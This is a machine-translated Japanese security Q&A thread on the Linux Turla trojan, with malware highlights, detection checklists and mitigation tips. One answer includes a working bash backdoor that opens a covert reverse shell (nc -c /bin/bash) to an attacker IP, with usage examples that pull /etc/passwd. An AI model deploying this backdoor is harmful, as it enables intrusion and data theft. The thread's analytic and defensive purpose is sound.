web-dev-qa-db-ja.com

LinuxベースのTurlaトロイの木馬

新しく発見されたLinuxベースのTurlaトロイの木馬を説明する articles がいくつかあります。

しかし、基本的に、これらの記事はすべて同じ非常に限られた情報を繰り返します。誰でも次のような詳細を提供できますか?

  1. Linuxマシンはどのように感染しますか
  2. 権限の昇格が含まれていますか、それとも感染したユーザー(つまりuid 1000)でのみ発生していますか
  3. マルウェアコードは感染したマシンのどこに「生きている」のか
  4. その他の興味深い詳細
25
Martin Vegter

TURLAは、大規模で洗練されたマルウェアファミリの最終段階です。 2010年以降、Windowsのバージョンが知られています。この40ページのプレゼンテーションは、どちらのプラットフォームでも、私が見た中で最も包括的なリソースです。

TURLA-開発と運用

一部のWindowsハイライト

  • ステージ0:攻撃ステージ-感染ベクター
  • ステージ1:偵察ステージ-最初のバックドア
  • ステージ2:横方向の動き
  • ステージ3:確立されたステージへのアクセス-TURLAがデプロイされました
  • 各段階で、ターゲットへの興味がなくなった場合は、終了できます

ステージ0:注入ベクトル

ステージ1:偵察ステージ

  • 最初のバックドア-WipBot/Epic/TavDig

  • WipBotはゼロデイとCVE-2013-3346エクスプロイトの組み合わせです

  • TURLAと同じ名前の関数をエクスポートします。他の類似点はありません

  • デバッグとほとんどのマルウェアサンドボックスを壊す

  • プロセスホップを数回実行し、自身をワイプします PEセクション

  • Kaspersky Labレポート でさらに説明

ステージ2:横方向の動き

  • C&Cをリファイン

  • ネットワークをさらに浸透

  • 新しいバックドアを利用する

  • ドメイン管理者の資格情報を取得します

ステージ3:トゥラ

  • 長期的な妥協のために一部のマシンにドロップ

  • マシンは何年もの間検出されずに侵害される可能性があります





その他のリソース

  • 「ペンギントゥラ」- Kaspersky Lab (Linux固有の詳細)

  • シマンテックレポート- Turla





Linuxハイライト

  • C/C++で記述されたTurlaモジュール

  • cd00r に基づく

  • 実行可能ファイルは複数のライブラリに対して静的にリンクされています

  • その機能には、隠しネットワーク通信、任意のリモートコマンド実行、およびリモート管理が含まれます。

  • そのコードの多くは公開ソースに基づいています

  • netstatで検出できない

  • Rootアクセスは必要ありません

Linux実行可能ファイルの特性

  • ELF 32ビットLSB実行可能ファイル、Intel 80386、バージョン1(SYSV)、静的にリンク、GNU/Linux 2.2.5用、除去

Linux静的にリンクされたライブラリ

  • glibc2.3.2-GNU Cライブラリ

  • openssl v0.9.6-古いOpenSSLライブラリ

  • libpcap-tcpdumpのネットワークキャプチャライブラリ

Linux C&Cの詳細

  • 第1ステージのC&Cはハードコーディングされています。既知のアクティビティ@ news-bbc.podzone [。] org

  • pDNS IP:80.248.65.183

Linux起動/実行の詳細

  • プロセスには2つのパラメーターが必要です:ID(「認証用のマジックパケット」の一部として使用される数値)と既存のネットワークインターフェイス名

  • パラメータは、STDINから、またはドロッパーからサンプルを起動するという2つの異なる方法で入力できます。

  • IDとインターフェース名を入力してプロセスを起動すると、バックドアのプロセスPIDが返されます

Linuxマジックパケット

  • PCAPライブラリーを静的にリンクします

  • 生のソケットを取得し、フィルターを適用し、パケットをキャプチャします

  • TCPヘッダー、またはUDPパケット本文の2番目のバイトにあるACK番号をチェックします

  • 条件が満たされると、パケットペイロードのコンテンツにジャンプして通常のソケットを作成します

  • バックドアは新しいソケットを使用してMagic Packetsの送信元アドレスに接続します

  • バックドアは独自のPIDとIPを報告し、コマンドの受信を待機します

  • 到着したコマンドは "/ bin/sh -c"スクリプトで実行されます

最終メモ

Linuxバージョンに関するすべては、カスペルスキーのレポートからのものです。残念ながら、現時点では検出は非常に難しいようです。

「TurlaフレームワークからのLinuxバリアントが存在することが知られていましたが、実際にはまだ見られていません。」-Kaspersky Lab

21
cremefraiche

編集:

  • [2018-11-23]:md5にソルトを追加し、いくつかの説明を改善しました。
  • [2015-02-06]:テスト、発言、および議論に基づく回答

短い紹介

それらを検出する方法を見つけるために、私はコンセプトと方法に強く取り組んできました。

このため、ほぼ同じ方法で動作する小さなbashスクリプトをすばやく作成しました。

そこから、Un * xの概念に関するいくつかの追加の知識とともに、私は私のチェックリストを投稿します。これは、どのシステムでもこの機能するトロイの木馬を見つけるのに役立ちます。

Bashの書き直しTurlaノックドア

これがどのように機能するかを理解するために、私はこれを書きました:

(これは、何らかのリモートエクスプロイト、ウイルスなどによって、ターゲットホストで実行する必要があります。)

#!/bin/bash

myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d   ${3:-80} # change this to >1024 if'nt root on attacker's Host!

while :;do
    while IFS=': ' read seq loci locp remi remp foo;do
    [ -z "${seq//[0-9]}" ] &&
    [ "$locp" == "$bport" ] &&
    [ "$remp" != "0000" ] &&
    myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
    myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
    chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
    [ "$chksum" == "$myIpSum" ] &&
    nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
    done < /proc/net/tcp
    read -t .5 -n 1
    [ "$REPLY" == "q" ] && exit 0
  done

これは完全にndetectableではありませんが...

特徴

  • 攻撃者の接続をリッスンしている間は、netstatを使用してもまったく検出されません。
  • [ランダム-> 80] TCPポートとして[イン->アウト]を使用して、接続をサーフ接続のように見せます。
  • ローカルポート22で特定のIP(ハッシュ化されているため、読み取れない)を待機します。なしpromiscuousモードを使用せず、root特権を必要としません
  • 特定のIP(Knock!)からの着信接続を検出すると、ポート80でこのIPへの接続を開き、次のようになりますサーフ接続そしてbashを提供し、この接続に戻ります。

注: Real trojanプロキシ経由でも機能するために、SSLと実際のHTTPヘッダーを使用できます!!

これは4つの引数を受け入れます。

$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
  • myIpSUmは、ソルト付きのハッシュattackerのIPです。 md5sum <<<SaltMyIP192.168.1.31を使用してレンダリングできます(スクリプトで塩を変更できます)。
  • KnockDoorPort -> bportは、ターゲットホストで使用されている、すでにバインドされているポートです(ターゲットがSSHを提供する場合のサンプルでは22ですが、開いている任意のポートを使用できます)。
  • myPort -> rportは、着信接続に使用されるローカルの攻撃者のポートです(80は発信http接続のように見えます)。
  • -iフラグを使用すると、bashをインタラクティブに実行できます

感染のステップ

  1. 最初のステップは、Shellshockまたは任意のbuffer-overflowなどのリモートエクスプロイトを使用してこのスクリプトを実行することです。
  2. 次に、攻撃者はknock doorをポート22に送信するために、ターゲットのIPを知る必要があります
  3. from 攻撃者のIP(TCPポート80をリッスンするルートとして)を使用し、ターゲットの受信接続を待ちます。
  4. あなたはターゲットのシェルでロガーです!

    bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
                   ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
    

サンプル:

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days,  6:19,  1 user,  load average: 0.00, 0.01, 0.00

または

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
    tar -ztvf -
-rw-r--r-- root/root      1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root       611 2011-11-19 10:00 group

検出はそれほど簡単ではありません

スクリプトはターゲットホストで実行されたままで、攻撃者の接続が開かれていない間は、netcatを使用しても実行中のスクリプトは表示されません。

Knockは、ポート22で一度実行されますが、多くの接続が失敗するのはregularです。実際 Shell 接続は、発信HTTP接続のように見えます。

回答(編集):

  1. Linuxマシンが感染する方法

    これはtrojanなので、この質問は実際には問題になりません...(サンプルについては Shellshock を参照)

  2. 権限の昇格が含まれていますか、それとも感染したユーザー(つまりuid 1000)でのみ発生していますか

    いいえ、これの目標の1つは、攻撃者が実行方法を検索できるようにすることです特権の昇格

  3. マルウェアコードは感染したマシンのどこに「生きている」のか

    1. どこでもどこでも:これを添付ファイルとして実行すると、それらがどこに保存されたかがわかるでしょう。リモートエクスプロイトから実行された場合、実行されたバイナリを削除する可能性があります。

    2. Turlaがバイナリ(Cで書かれたもの)の場合、haveをUn * xシステムのどこかに保存し、実行するために実行可能フラグを設定します。最近のファイルシステムは実行後にそれらを削除することを許可していますが、inodeはそのままにしておく必要があります!

      これは、システムで実行されているがstandard PATHにあるバイナリを検索している場合に明らかになる可能性があります。

    3. trojanがスクリプトの場合、バイナリのみをファイルシステムにリンクする必要があるため、スクリプトを削除するか、STDINとして実行して、すべて。

  4. その他の興味深い詳細

    私のbashスクリプトを試してください...

チェックリスト(追加:2015-02-04)

  • forked pidsを検索します(親Pid == 1の場合)

    grep PPid:\\s1$ /proc/*/status
    
  • PATHからバイナリを実行しないプロセスを検索します

    for pid in $(ps axho pid);do
        readlink /proc/$pid/exe |
          sed 's/\/[^\/]*$//'|
          grep -q "^${PATH//:/$\|^}$" ||
            printf "%10d  %-16s  %s\n" $pid "$(
                sed 's/Name:[\t ]*//;q' /proc/$pid/status
              )" "$(
                readlink /proc/$pid/exe
              )"
      done
    
  • 長時間実行されているプロセスを検索する

    ps axho pid,etime,user,cmd
    

    ...

    ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
    
  • スクリプト:隠蔽のようなプロセスを検索:execommand lineを比較

    for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do
        printf "%10d  %-40s  %s\n" $pid "$(
            readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)"
      done
    
  • apparmorを使用すると、プロセスアクセスtcp stack(およびdp stack)を監視できます。

  • tcpdumpを使用すると、大変な作業がありますが、効率的な解決策です。

    outgoing接続があらゆる種類の要求を行って応答になるのを監視します不必要に直後に、次の要求をすぐに送信後に最初の回答を受け取ってから、最後の要求の回答を気にしない:exitディレクティブを受け取ると、logout.のように言って終了し、次のように駆動されます現在の最後のhttp要求セッション、ただし before を閉じるhttp応答

    実際、データ交換が通常の送信接続のスキームと一致しないが、サーバー開始-受信接続-サーバー停止のハイブリッドスキームである送信接続を見つける必要があります。

    もちろん、これはtrappedである必要があります。永続的に開いている接続がないためです。

  • システムコール統計の作成(apparmorを使用)

    このアイデアを提供してくれたalphanetに感謝

    実行中のプロセスごとに統計を作成し、

    それらをベイジアンツールに送信して計算通常のプロファイル

    新しいプロセスが一致しない場合にアラートを受け取るには通常のプロファイル(または実行中のプロセスが変更された場合でも)。

3
F. Hauri

Turlaがcd00rに基づいているとすると、特権の昇格は必要ありません。

cd00rは、通常のユーザーアプリケーションとして実行され、事前定義されたポートでinetdサービスを開始します。したがって、intedの実行権限を削除するだけで、それをブロックできます。

Sudo chmod o=r `which inetd`
1
Claudio C